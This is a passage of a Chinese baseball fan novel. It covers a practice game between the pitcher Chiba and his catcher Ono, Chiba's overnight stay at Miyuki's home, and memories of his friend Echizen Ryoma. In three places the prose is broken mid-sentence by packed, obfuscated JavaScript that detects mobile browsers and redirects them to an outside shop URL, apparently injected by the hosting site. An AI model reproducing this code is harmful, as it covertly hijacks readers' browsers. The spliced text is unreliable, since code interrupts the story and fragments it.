“小野,你的配球被对面前辈猜到了吧?”千叶坐到了头顶毛巾、低着头的小野身边,平静地问道。 在休息区正对的球场上,二棒在与投手丘上的前辈缠斗几后,被前辈淘汰下场,三棒的仓持此时站上了打击区。 25.红白赛(8) “你的配球被打者猜到了吧?” 休息区的角落,坐在阴影处的小野,听到了刚刚走到他旁边坐下的千叶的话。 场上,是本场比赛的第八局。 三棒仓持上场,这次他站在左打位。 投手丘上的前辈已经连续投了六局,现在看起来体力还行,蹲在本垒处的宫内前辈也一如既往地沉稳。 仓持呢?从这个角度,小野看不到他的表情。 他知道自己不是一个擅长配球的捕手,但这么直白地被投手正面点出来,他还是第一次。 小野沉默地拿下头顶的毛巾,侧头看向他身旁的投手。 千叶的眼睛没有看他,依旧落在场上。 第一次上打席位,第一颗球仓持选择放过。 “好球!”本垒后的监督道。 千叶看着场上的仓持,半天没有等来小野的回应,他偏过头,小野眼神复杂地正在看着他。 不知道为什么,今天用叫人看不懂的眼神看着他的人格外地多。千叶想。川上也这么看他。难不成今天的他格外地帅吗?他们都被他迷住了? 千叶被自己的想法吓到了,忍不住打了个哆嗦。 “你……你想自己配球吗?”这时,他听到小野有点犹豫地说。 明明他的表情没有变,千叶却忽然感受到了小野在说出这句话的时候有点悲伤。 “啊,别误会,小野。我不打算跟你争配球权,如果一个捕手连配球都要投手自己来的话,那跟球网有什么区别?”千叶赶紧否认了小野的话。 虽然经常被打出去叫人火大,但是真的要他配球的话他也不太愿意。小野配球不好,他可以还跟小野可以商量,要是因为他抢了小野的配球权让小野心态出现问题接不到球了……他又不能在场上分身,自己又接捕又投球的。 “不过,”千叶还是忍不住委屈地抱怨,“小野你配球真的很不走心啊,第一颗球投边角好球,如果被打出去就马上换二缝线,几乎没有坏球引诱打者挥棒……这样的配球对面的前辈看出来真是毫不意外。你是不相信我的球可以解决打者吗?未免对我也太没有信心了。” 所以,千叶早就发现了他的配球有问题了吗?“……我没有对你没信心。”小野说低下头道。 千叶看向他,左眼写着“真的假的?”右眼写着“我怎么就这么不信呢”。 小野张了张嘴不知道该怎么说下去。 要怎么说?说自己其实没有信心能接住他的球,所以配球的时候犹犹豫豫?还是说自己没有信心面对打者,所以会下意识地配最不容易被打出去的球路?他一直无知无觉地这样逃避,直到对面的三棒第一球就出棒将千叶的球打了出去。 那时他才意识到自己的配球早就被对面猜到了。 场上,“嘭——”的一声,是球落入捕手手套的声音。 “好球!”监督的声音传过来。 仓持挥空,两好球。 “仓持没有退路了。左右开弓什么的确实很帅,但是打击不行,腿再怎么快也没法上垒。” 正在小野心情压抑不知怎么回应时,千叶居然跟他说着说着话点评起了仓持,脸上甚至还是那一副平静到近乎无情的表情,像他被击出本垒打,他跑上投手丘与他对视的那一刻。 无论是自己的球被打出去,还是队友的失败或成功,似乎都不能引起他的情绪波动。 “你……千叶你不怕吗?”小野觉得他从那个时候就开始搞不懂千叶了。 捕手配球出现问题,没有意识到被打者猜到了球,导致投手的球被频繁击中。如果不是对面第一轮打线还没有适应千叶的球,千叶投得也很谨慎,他们绝不会两局只失掉一分。即使是这样,他也会信任他吗?还愿意配合他的配球吗?不怕被打出去吗? “乒——”的一声球棒击球的声音之后,监督喊了一句:“界外!” 仓持开始与投手丘上的投手缠斗了。 “欸?怕什么?” 怕比赛输掉吗?这不是明摆的事情嘛。前辈们先守,意味着他们只剩下一个半打席、一次防守机会。除非所有的队友都吃上大力水手菠菜,然后被职业打者附身,颗颗球都能轰出本垒打,否则他们输定了啊。 怕被打中球吗?那就更不会怕了。球就是用来被打出去的,再怎么担心也不能避免吧? “嘭——” “坏球!” “好!仓持,看得很准!”不远处休息区的的队友正大声为场上的仓持打气。 小野咬咬牙,问出口:“我的配球,让你的球被打出去,你既然看出来打者猜到配球了,为什么投球前没有摇头让我换配球?” 虽然搞不懂小野在别扭什么,但听到这里,千叶明白了自己的任务——他现在必须要安慰一下小野。 “因为你在上场前很有自信,在投手丘上也要我相信你,所以我才没有摇头。”千叶道。 因为我怕你会撂挑子不干了啊,小野。千叶想。 “而且,虽然我很想自大地讲凭借我的四缝线直球就能解决前辈……但事实摆在眼前,现在的我还做不到。所以需要小野你这个捕手的帮助。”千叶道。 毕竟我接下来还有一局球要投,没有人接球不行啊。千叶想。所以我说了这么多还不够吗? 小野定定地看着千叶,想说些什么。 “梆——” “仓持打中了,内野地滚球!跑啊!仓持跑啊!”队友激动地大叫起来。 被打断的小野抬起头向场上看去。 三垒快速跑下垒下蹲接球,接到球后立刻调整脚步,将球传向一垒,十分娴熟的动作没有浪费一点时间。如果是一般的跑者,或许距离垒包还有一段距离,但此时的打者是仓持,他已经开始扑垒了,一垒手接住球后手套立刻向下想要触杀—— “Safe!”一垒的助教在尘埃落定后大声宣布。 “喔!” 身旁一片欢呼。 千叶并非猜不到小野在想什么。 无非就是觉得自己实力不足,拖了投手、队伍的后腿,所以愧疚、气愤、难过、无力……那一类负面情绪。 但实力不够就就是不够,平时就不厉害的人,指望自己上了赛场忽然厉害起来显然不现实。 实力不够就去练习,要人安慰有什么用。 问介不介意队友实力差,当然介意了,但介意有什么用?又没办法自己选队友,他当然不希望搭档出什么岔子。 既然唯一的任务就是好好地结束比赛,那现在就不该出现影响比赛的负面情绪——无论是自己的,还是队友的。 不过,即使已经是专业选手,情绪控制也是一门需要学习的课目,如果情绪随随便便就能控制,世界上就不会有那么多因为选手心态不好而发挥失常的比赛了。 场上的四棒前园在打击区摆好了打击姿势。 仓持离垒很远,做出要盗垒的架势干扰投手。 投手丘上的前辈果然被他惹得心烦意乱,但还算克制投了个牵制球后,就开始专心对付打击位上的前园。 “嘭——” “好球!” “嘭——” “坏球!” “嘭——” “好球!” 两好一坏,前园瞬间没有退路了。 “大胆点配球吧,我的变速球跟滑球应该也挺厉害的。” 小野听到旁边的声音用轻松语气说道。 而这时—— “盗垒!”一垒手大喊道。 投手丘上的投手面容扭曲一瞬,猛地将球投出去。 “梆——” 小野转过头,看到千叶抬起下巴,微笑地看着他道:“你能接得到吧?” “击中球了!穿过二垒手的手套了!” 周围的欢呼声诡异地离他远去,耳边模糊一片,小野忽然感觉呼吸一滞,仿佛被手攥住了喉咙。 ——不敢配球什么的,我已经看出来了。既然不能长得赏心悦目,那就要像球网那样、能拼命保证接到球才对。如果连球都接不到……长得一般还差劲的捕手还不如球网呢。 千叶看向小野,微笑了一下。 都被投手这么说了,是个捕手都会拿出些骨气来吧。 第八局,又跟仓持缠斗了几球,投手丘上的前辈体力明显下降,控球也开始出现漏洞,原本能投到好球带边角的球开始出现坏球,被五棒选中四坏上垒。 因前园打击成功跑到三垒的仓持此时回到本垒,第八局一分到账。 六棒选择短棒推进,可惜没成功,前园留在二垒没敢向前。 现在是二出局,一二垒有人。 又轮到了七棒白州,下一个就是八棒小野。 小野穿好打击护具在打击准备区蹲下等待。 “梆——” 是球棒击中球的声音,很响亮的一声,白色的小球遮住太阳,像一道阴影向中外野的本垒墙飞去。 “小子,想要把前辈的球打出去,还差得远呢!”忽然,在本垒墙前球的落点那里,出现了一个人影。 他高高地跃起来。 “啪——”35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17050515|192733||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 球落到了小胡子前辈手套里。 小野没有上场,攻守交换。 现在比分来到14:2。 千叶平静地站上投手丘。 此时,没有风,太阳快到头顶,天气有些热了。 他能感受到,自己的体力还算充沛,视野也很清晰,肩膀的状态更是前所未有地好。 对面的打者是小胡子前辈。 虽然这个前辈大嗓门老大、看上去很凶,还老爱监督可怜的一年级吃饭,但他真的很厉害。他算是投手,还是野手呢? 是野手吧。打击又强、防守也很拼命,比起根本没有轨迹变化的球,还是做野手的时候更厉害一点。 第一球就会挥棒、会扛大棒的打者,小野你知道怎么配球吧?千叶看向蹲在本垒处的捕手。 小野给出了一个暗号——二缝线坏球,引诱打者挥棒。 不,我不要这个。千叶摇头。 小野一顿,又比出一个暗号——那,内角四缝线,正面与打者对抗? 不要。千叶又摇头。 小野比暗号那只手僵住了。 而这时千叶在投手丘上向他比出了手势。 ——“什么情况?投手自己在配球吗?” 千叶听到了场下的声音。 小野在本垒板处停了许久,然后他缓慢地、顺从地将手套摆到了千叶想要的位置。 “嘭——” “好球!” “前辈挥空了!” “刚刚那一球是什么?轨迹向打者内角去了,偏转幅度好大!” “是滑球吧,那小子居然还会投滑球。” 第二球。 小野没有给他暗号。 千叶微抬下巴,在投手丘上居高临下地看着他。 小野顿了许久,摆出手势——四缝线直球。 千叶点头,可以。 “嘭——” “好球!” 两好球,打者没有退路了。 下一球。 小野看了一眼投手丘上的千叶。 他还在看着他。除非下一局他们能得12分,否则这就是他们最后一局防守。 小野深深呼出一口气,在大腿内侧比出暗号——这个球你愿意投吧。 投手丘上的千叶终于笑了。 很好。 干净利落地抬手、转体、蹬地、出手。 “咻——” “啪——”球砸中手套边缘,又向侧方弹出去。 不好,漏球了!小野握着手套的掌心湿滑一片,他咬紧后槽牙,猛弓下身子,朝着球落地的方向扑出去,连滚带爬,膝盖在泥土上擦出一道的痕迹,然后伸手—— “接住了!” 小野半跪在地上举起了那球,然后看向投手丘上的千叶。 “Out!”本垒后的监督道。 “一出局!”投手丘上千叶微笑着举起一根手指。 “最后一球是变速球啊,小野还是被千叶牵着鼻子走了。”御幸噙着笑意趴在休息区的围栏上。 “……”川上侧头看了御幸一眼,又将担忧的眼神投向场上那个人。 三振三名打者。 在第八局的中心打线千叶未失一分地来到第九局。 ——“前辈的体力下降了,这是我们的机会,他不会投很边角的球了。我们尽量与他缠斗,只要投好球带就打出去,他撑不了多久的。” 小野打击时,想起了在上场前千叶对他说的话,现在那个人就在打击准备区等待着。 小野咬着牙。 球来了。 “嘭——” “坏球!” “嘭——” “坏球!” “乒——” “界外!” “很好很好!看得很准!”打击准备区的千叶微笑地听着场下同伴们替小野加油的声音。 “四坏球!” 小野扔下球棒,小跑到一垒上。 他的视野里,千叶走上打击区,摆好了打击姿势。 “咻——”投手投球了。 “忽——”球棒划过带起一阵风声。 一垒的小野瞪大眼睛。第一球就挥棒,这跟他对自己说的不一样! “梆——” 千叶扔下球棒就往一垒跑。当然不一样了,因为我的打击比小野你厉害啊! “啪——” “右外野高飞球,野手接到了!” “Out!”监督大声道。 千叶:“……” 26.红白赛后 四月份的天气十分不错。 千叶骑着自行车回家的时候,铺面而来的风中都是花香。 车轮碾过的地面上谢了的樱花,因为花瓣太过柔软车轮压过去无声无息,耳朵边只能听到树上回巢的鸟鸣。 红白赛最终以14:2结束,最后一局在千叶一棒下场经历众人耻笑后,除了小野上垒,再没有人击出安打。 红白赛结束后,监督把千叶选上了一军。除了千叶自己很意外,其他人也因监督这个决定议论纷纷。 球场频繁地被击中球,甚至被轰出本垒打。摸着良心说千叶觉得自己的表现并不算好。对比起来讲,御幸的表现要比他好多了,但御幸没有进一军,而他却被选了进去…… 千叶对此没有想法。 一军捕手有一年级就当上正捕、可以竞争世代第一捕手的泷川·克里斯·优,还有已经是三年级、经验丰富的近藤修司,一年级的御幸即使厉害,在这两人里也没有竞争力。 一年级生基础不牢靠,身体没有发育完全,体格没练好,比赛经验跟二三年级还差一截……各种各样的理由,即使御幸比前辈有能力,在日本这么看中资历经验的地方也很难在一年级当上正捕吧。 啊,克里斯前辈好像就是一年级当上正捕的来着……莫非片冈监督是更看中能力的教练吗? 比起青道捕手丰收到可以挑挑拣拣,青道的投手丘缺人的情况就相当严重了。这点从二军的投手没有人替换就可以看出来。 红白赛上场的投手一共只有两个,一个是技能点在打击上、防守能力也很强、但投手很一般的小胡子前辈。另一个投了八局球的那个投手前辈,他听前园说,是个学习成绩非常好的保送生。 前园还说,那个前辈在春甲选拔结束后就提交了退部申请,想要努力学习考取名校,但他退部二军就只有“伊佐敷”(小胡子前辈的名字)一个投手了,而且伊佐敷前辈还想转中外野手,他因为担心球队才留了下来。 而一军投手也不丰盈,春甲选拔全靠小泉前辈和丹波前辈两个人相互替换打完,两个人没有一个算得上王牌投手,完全不是一个棒球豪门该有的配置。 总之,运气也是实力的一部分,因为是投手,所以缺投手的一军让他填补空缺也是合情合理。 不过在这样一个情况下被选入一军……千叶不知道这是好是坏。 他会有机会上场吗?还是像国三时那样,一直坐板凳当磨刀石,让前辈有危机感? 啊,不管能不能上场,起码现在克里斯前辈肯定要接他的球了。这是好事。千叶想。 在红白赛结束的当天下午,他们训练完后就放假了,短暂的一天假期,住在东京的队员一般会回家休息。 千叶收拾东西的时候碰到了菅田前辈。 菅田前辈看到他,惊奇且恶毒地说了句:“听说你的球在比赛里被打中好几次?为什么还会被选到一军来?” “我也不知道。”千叶面无表情地回答。 然后他就回家了。 家里出人意料地一个人没有,他看到了冰箱上妈妈给他留的便签,上面说她跟老爸出去了,晚饭让他自己解决,出去吃或者自己做都可以。 千叶打开冰箱,里面没有便当,也没有剩饭。 千叶打开柜子,里面没有泡面,也没有面包。 好的,鉴于他只会撕包装、开微波炉,厨房里的厨具一概“它认识我,我不认识它”……所以,还是出去吃吧。 千叶带上钥匙,关上门,骑着自行车,出门觅食去了。 无论是在美国,还是在日本,他基本上都不会在外面吃饭。他老爸会给他做便当,虽然味道一般,但卖相不错,而且据他说营养丰富,适合他这个“打球打得很烂的小棒球选手”……呵。 也很少有人约他出去。 在美国的时候只有龙马偶尔会跟他出去吃饭。 到日本之后,他出去逛的次数就更少了,每天训练,上学,睡觉……唯一约过他的乾宪刚,他也只跟他出去过一次。那次如果不是恰好想换护理手套的刷子,他是绝对不会跟乾出去的。乾长得不好看,跟他走在一起十分不舒服。 他跟乾那次约在了银座附近,距离他家要坐一个多小时的电车,吃饭也在那边吃的,贵的要死。 不太知道在哪里找吃饭的地方,千叶开始随便乱骑,骑到一个大坡,爬上去又从另一头溜下来,他就到了另一片社区。 另一片社区跟其他社区没什么不一样,唯一的不一样就是,距离他二十米不到的前方,他看到了御幸一也。 等等,“御幸一也?!”千叶猛地一刹车。 黄昏十分的街道下,落日的余晖落在马路上,拖长了行人的影子,背着背包刚刚到家的御幸,鞋底刚蹭过门前最后一级台阶,就听到有道惊讶中带着猝不及防的声音呼唤了他的名字,他一抬头,看到了骑着自行车千叶一郎。 “你怎么在这儿?”他听到千叶语气十分不善地硬邦邦问。 御幸:“……” 我最近没有得罪他吧?好像没有。 “这话应该我问你才对吧。”御幸无语地手往自己头顶一指,“这是我家啊。” 千叶顺着他的手指往上看——看到了一个白底蓝字“御幸钢铁”的店牌。 好吧。还真是他家。千叶撇嘴。 店门虚掩着,里面轻微的金属碰撞的声音停止了,一个戴着灰色工帽的男人从里面走出来,手上还沾着没擦干净的油污。他的目光第一时间落在了御幸身上,声音有点从忙碌中抽离的沙哑:“一也,发生什么吗?” 这是御幸的爸爸吗?千叶想。倒是很御幸长得不大像, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17061440|192733||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 御幸要好看很多,应该是比较随妈妈。 “没什么,老爸。”御笑的嘴角勾起一抹笑意,“那是我棒球队的朋友,千叶一郎。” 又手背向下,向千叶招招手,示意他过来一点:“千叶,这是我老爸。” 戴着工帽的男人顺着御幸的视线望去,看向不远处骑着自行车的千叶,眼神变得平和。 长辈看过来了!千叶心头一紧。 他赶紧抬腿下车,推着自行车小步跑过去,鞠躬问好:“您好!” “你好。”御幸的老爸微微颔首,“是过来找一也的吗?” “啊?嗯!”千叶回复。管他是不是,先应下再说,要不然还要解释自己现在出门是因为不会做饭要买便当,那岂不是输给会做饭的御幸了! “……”御幸瞥了一眼开始面无表情一本正经的千叶。 喂喂,在当事人面前说假话哦。而且你这家伙怎么长辈面前这么老实。 御幸的父亲似乎本就不是个善言辞的人,打过招呼后便转身准备走回工作室。刚迈出两步,又像是想起了什么,在进门前回头看了他们一眼,叮嘱道:“你们好好玩。” 御幸散漫地应了一声:“哦。” 千叶立正站好回答:“是!” ……要不要这么郑重其事。御幸更无语了:“我说你,见到长辈很紧张吗?” “其实还好。”千叶实话实说,“但如果给队友的家长、朋友留下不好的印象,会很麻烦。以为在球队里交往的都是小混混什么的……那种误会还是不要了吧。” 御幸调笑道:“说得好像你很有经验一样。以前被队友的家长误会过吗?” “那倒没有。”千叶看着御幸回答道,“不过我想在大人面前表现得周围同龄人关系好一点,这样不会被人说不合群,你爸爸也会放心一点吧?总不能让叔叔觉得你在球队里交的全是不靠谱的朋友。” 御幸脸上打趣的淡了些。 夕阳的光温柔落在千叶的侧脸上,勾勒他出柔和的轮廓,或许是夕阳的光线太美,此时此刻居然让这家伙的眼睛显得真诚起来了。 御幸忍不住嗤笑一声:“笨蛋。我老爸才不会想这些。不过——” “不过什么?”千叶一挑眉马上接话,“被我感动到了?” 御幸呵了一声,没搭理千叶。 他转身对千叶抬了抬下巴,示意他跟上,语气随意:“老爸都说要我们好好玩了,我家就在店后面,你要不要进来?” 千叶看着他的背影,又看了看“御幸钢铁”的店牌,推着自行车毫不犹豫地就跟了上去:“我还没吃饭,御幸你会管我的饭吧。” 御幸:“……” “啊,”御幸一敲掌心,愉快地窃笑,“反正老爸也看不到你是不是真的跟我去玩了,要不我还是不留千叶你了吧!” 27.休息日——留宿事件 去御幸家吃饭,千叶心里反复盘桓,觉得自己应该有点礼貌。 于是推着自行车的千叶清清嗓子,对御幸道:“我要买点水果。” “哈?这里没有水果店。”御幸开始没明白千叶是什么意思,转念一想想明白了怎么回事,又很无语,“又不是上医院看病人,买什么水果?” “那买点花好了,”千叶不死心,“阿姨会喜欢吧?上门蹭饭空手不好。” “也没有花店!”御幸说着推开门,“再说哪来的阿姨啊,我家里就我跟我老爸两个人。” 欸?千叶眨眨眼跟了上去。 进了门,映入眼帘的客厅收拾得干净,家具不多,整个房间看上也不大。千叶扫了一眼就没再多看。随随便便打量别人家不礼貌。 御幸家是御幸一也做饭,千叶果然没有见到他的妈妈,也没有看到她的照片。虽然很遗憾不能见到有可能是大美人的御幸妈妈,但千叶很识相地没有多嘴问。 御幸也不打算解释,自己换了鞋又扔给千叶一双备用家居鞋,就径直走向厨房。 然后打开冰箱招呼千叶给他打下手洗菜。 等等……洗菜?! “我是客人!”千叶指着自己大声强调。 “欸?你是客人吗?”御幸从冰箱旁边半探出头,脸上挂着恰到好处、傻子都能看出来是伪装的惊讶,“那你洗菜好了,切菜就不用你了。” 千叶:“……” 蹭饭气短的千叶老老实实洗菜去了。 厨房里的御幸围好了围裙。 猪肉叉烧,葱花,胡萝卜切丁。 开火,打鸡蛋,蛋液滑入锅中冒出滋滋声,炒散,然后下米饭、胡萝卜、猪肉叉烧,最后调味,撒上盐和少许酱油,放葱花,炒饭出锅。 翻炒的间隙,御幸的声音透过滋滋的热油声传过来:“千叶,不用拿我老爸的碗筷,他要等到很晚才下班啦。” 千叶正捏着三双筷子往餐桌上摆,依言乖乖放下了多出来的一双,应了声:“哦。” 猪肉叉烧混合着粒粒分明的米饭,金黄的蛋碎其中,点缀少许葱花,袅袅热气夹杂香味扑面而来。 御幸解开围裙随手挂在门后,走到千叶对面坐下,微微抬手做了个绅士的请的手势:“请用。” 千叶迫不及待地拿起筷子扒了一大口。 米饭的嚼劲、蛋碎的软嫩、叉烧的咸香…… 在将炒饭送进嘴里,嚼碎咽下去的那一刻,千叶抬起了头。 “御幸。” ——这碗饭跟上述那些个词没半毛钱关系。 “怎么了?” “你做饭相当一般啊!居然还说自己好吃什么……脸皮好厚!完全是在吹牛,自吹自擂!”千叶震惊吐槽。 “啰嗦。”御幸拿起筷子,淡定地扒了一口饭,“你有的吃就不错了!” 千叶悻悻地闭上嘴,继续扒饭。 人在屋檐下,不得不低头,现在不闭嘴,一会儿没饭吃。 御幸做的饭跟他老爸做的东西简直有异曲同工之妙,同样的卖相上佳,口感拉胯。他觉得自己老是长不壮跟他爹做饭不行有很大关系。所以御幸现在小胳膊小腿的应该也是跟他自己做饭不行有很大关系吧!千叶想。 一顿饭吃得不咸不淡,吃完千叶依在门框边看着御幸洗碗。 倒不是他愿意看着御幸洗碗不愿帮忙,是因为一共两个碗实在不值得两个人一起洗……而且两个男的挤一起洗什么碗!怪恶心的!要挤在一起他也应该跟美女挤在一起啊! 千叶摸摸自己胳膊上的鸡皮疙瘩,恶寒地跑到外面去。 天边的晚霞一点点沉下地平线,街旁的路灯次第亮起,暖黄的光洒在地面上,拉出路灯杆长长的影子。 等御幸洗完碗后,千叶也准备回家了。 “等等。” 千叶推起自行车准备回家,脚刚踩上脚踏板,身后就传来御幸叫住他的声音。 他回头,疑惑地看着御幸:“怎么了?” 御幸望了望天色,问:“你家离这远吗?” “不远啊。”千叶歪了歪头,手指比了比方向,“骑自行车也就二十几分钟吧?跟去学校差不多的路程。” 御幸目光重新回到千叶脸上,慢悠悠的语气很平静:“你是乱骑到我家这边的吧,还记得怎么回家吗?” “……” …… 千叶在御幸家门口给妈妈打电话报备。 手机嘟嘟两声后,被电话那头的人接起来。 妈妈温柔的声音透过听筒传来:“儿子?” “妈妈。”千叶脚尖一下下踢着脚下的土,语气有点含糊,“我今晚要在外面睡。” “你出门了?现在在朋友家里吗?”妈妈有点诧异却一如既往地没有责备他。 “嗯,在球队的队友家。” “可别给人家添麻烦哦。” 这个意思就是同意了。 千叶赶紧应道:“我知道的!妈妈,让老爸接下电话。” “你还有悄悄话单独对你爸爸说呢?”千叶毫不意外地听到了妈妈的笑声从电话另一头传过来,随后便是手机被递过去的窸窣声。 手机换了人接。 “有什么话悄悄话要跟你老爸我讲,说吧。”——果不其然,他又听到了他老爸装模作样的动静。 千叶语气尽量平淡:“我进一军了。” “真的假的啊?”对面老爸声音瞬间拔高,带着点不可置信,然后毫不犹豫地吐槽,“你的球投的还完全不行啦,如果练习的时候没那么懒散,说不定你会强一点,但现在嘛……投球肯定经常被打者打出,有哪个瞎眼的监督会把你这菜鸟提到一军……”一套说完又恢复冷静,“什么时候的事?” “昨天刚宣布。” “练球,打扫场地,体能练习……一年级的训练应该以这些为主吧?我知道青道缺投手,但你现在就被选上正式队员了,青道已经落魄到这种程度了吗?”老爸冷哼。 千叶抬头看向已经完全黑下来的天空,顿了顿道:“不管怎么样,我应该很快就会上场比赛了。” “哦哦,恭喜啊。”老爸在电话不走心道。 “恭喜什么啊,”千叶无语,“我是问你要不要来看我比赛。算了,不来也没关系,把我接下的训练计划给我吧,进了一军至少要练练投球吧,变化球什么的。我最近就在练习滑球,你有什么技巧或者训练方法什么吗?我不想被人比下去。” “……你也会着急啊。”电话那头沉默了几秒,随后他又听到老爸爽朗地笑得很大声,“训练计划就按照原来的计划来,进了一军也不是什么大事,别大惊小怪。变化球也可以学,但没有捷径可走,别多投,要慢慢来,原因你比我懂,一个是伤胳膊,另一个是投手的直球才是生命线。最后,你还不一定能上场呢,没有进甲子园投球老爸我是不会去看你比赛的,加油吧一郎!” 千叶面无表情地摁断了电话。 然后一转头,看见靠在门框上的御幸。 千叶挑眉:“偷听别人电话可不是好习惯。” “我可没偷听,”御幸举手,“我一直 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17069891|192733||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 站在这里,你没发现罢了。” 千叶撇撇嘴,刚想说话,就听御幸对他招招手道:“跟我去我卧室吧。” 千叶猛地往后一蹦,双手抱胸警惕:“你要对我图谋不轨?” “……瞎想什么呢,我家没客房,你想睡沙发吗?” “……哦。” 御幸的卧室跟客厅一样,不大但收拾得很干净,墙上没有海报,房间里也没多少东西,只有一张床、一个衣柜、一个带书架的书桌和一个球筐。球筐里面放着手套、棒球、球棒还有保养工具,书架上有不少讲棒球的书和分门别类的训练笔记,嗯,还有少数女明星碟片杂志游戏光盘……就是没见到教科书。 怪不得御幸看上去怪聪明的,成绩却那么差。弯腰在书架前半天没看到一本学习资料的千叶想。 御幸打开衣柜从最上面搬出被子,要在地上打地铺,一转身,千叶已经津津有味地参观起他的房间,甚至开始扒拉他的书架翻书看了。 ……刚刚还没进门的时候不是还很拘谨吗?现在倒是不客气起来了。御幸想。 “千叶,你去床上睡吧。”御幸道。 床边路灯微弱的光被隔到蓝色的窗帘外。 “这不好吧。”千叶佯装客气一下。 御幸佯装惊讶:“你不是说你是客人嘛?” “你这么一说……也确实。”于是千叶毫不客气地躺倒到御幸床上,顾涌两下侧过身看着御幸打地铺把被子铺好,“把床让给我可以吗?” “你是投手,睡地板落枕了就几天投不了球啦,后果很严重的。” “好贴心啊,不愧是捕手,女房役。” “咦,好恶心。” “话说,御幸,我们还没有交换line吧?交换一下吧。”御幸已经在地板上铺好了床,见他坐下,千叶便从口袋里掏出手机晃了晃。 御幸脸上微笑,眼神拒绝:“我们几乎每天都在学校,一个班寝室也不远,抬头不见低头见的,没有必要吧。” “可是队友没有联系方式不太好吧?”千叶把手怼在他面前。 御幸心中叹气,从口袋里摸出一个老旧的翻盖手机放到千叶手里:“我没有智能手机,只能发短信和打电话——尽量发短信。” 千叶愣了一下,拿过他的手机翻来覆去:“都什么年代了,还用这种老古董?”又按键摁了几下,“没关系,把我的号码存到里面,以后可以联系。放心,我不会随便打扰你的。” 千叶把手机还给御幸。御幸看到手机里多出一个号码。 一夜无话。 第二天一早,虽然千叶警告自己在别人家不能太放肆,但他还是起晚了。 他起床的时候御幸爸爸已经上班了,御幸晨跑完正在吃饭。 “早。” 千叶迷迷糊糊地从床上爬起来,出现在餐桌上。 御幸一边吃一边对千叶道:“早,早饭在锅里。快点吃,一会儿我要出门了。” “这么早?去干嘛?”千叶有点清醒了。 “练挥棒。”御幸道,抬抬眼又问,“你去吗?” “不去。”千叶打了个哈欠,“我要去见我发小。” “发小?”御幸挑眉,“你不是在美国长大的吗,这里有你的发小?” “他也是日本人,最近也回国了,前几天刚给我发消息。”千叶回答,刚睡醒还没有清晰的大脑却突然发现一个问题,使他一下惊醒了。 千叶惊疑不定地看着御幸,问:“你为什么会知道我是在美国长大的?我好像从来没有跟你说过吧?” 28.休息日——越前龙马 “欸?可是几乎全队都知道你以前在美国上学。”御幸手肘撑在桌面上,指尖抵着下巴,眼底露出狡黠的笑意,“没发现大家最近对你包容多了吗?” “难道不是因为我开始记大家名字了吗?”千叶震惊。 他花了那么多周还没写完监督的作业、每天晚上还要复习一下那堆五花八门的名字、等下次打招呼要跟人脸对上……就为了要跟人打好关系。身心都被折磨了,现在居然告诉他,他做的都是无用功? “当然不是啦,记住队友的名字是应该做的事吧。你名声那么差人还那么嚣张,就算是你记住队友名字大家也不可能对你改观的。”御幸语气轻飘飘地摆摆手。 “我名声差还不是拜你所赐啊!你现在居然还敢提!我的名声就是你给我败坏的啊御幸一也!”千叶愤怒地一拍桌子,隔着桌子扯住对面御幸的衣领。 “我……是有苦衷的……”被千叶扯着领子晃来晃去的御幸伸出一只手,“还有……这里是我家啊……” 从御幸家里走后,千叶骑着自行车回到家里,拿上零钱和公交卡后,来到了跟龙马约好的体育场。路上,看着电车外划过的叫不上名字的高层建筑,一串串黑的白的五花八门又一模一样的机动车、人行天桥,以及熙熙攘攘的行人,千叶想起了一些自己小时候的事。 他的发小叫越前龙马,是在他小学被老爸送到某个忘记名字的网球兴趣班还是俱乐部时,认识的朋友。彼时,他老爸已经从职业棒球界退役了,闲得发慌,整天在家教他挥棒,他妈妈觉得棒球太累了,不想让他学棒球,又认为儿子也确实该练点“既能锻炼身体又能培养情商”的运动,于是选中了网球。 所以他老爸就找了个兴趣班把他塞进去了,然后在里面他认识了越前龙马。 他比越前龙马大了快三岁,刚认识的时候他才上小学一二年级,越前龙马还是还在上幼儿园的小屁孩,勉强脱下开裆裤那种……呃,好像也没那么小,他记得龙马瞪着他反驳过“我已经上幼儿园大班了”,来着。 总之,很少有奇葩家长把那么小的孩子送到打网球的兴趣班,他老爸算一个,龙马的老爸也算一个。但那个时候龙马的球已经比他打得好了。那个兴趣班不怎么会给初学网球的小朋友启蒙,大部分是学了一两年的小学部的高年级,他们会在放学后过去练习,每天下午两个小时,龙马那时就能把高年级的球打回去了,而他还完全不能打到教练喂的球。 他愿意跟龙马一起玩,完全是因为龙马是那个俱乐部还是兴趣班里,长得最好看的小孩。那个年纪的他还没有被生活磨平棱角,还坚定不移地只跟班上最好看的小朋友一起玩。 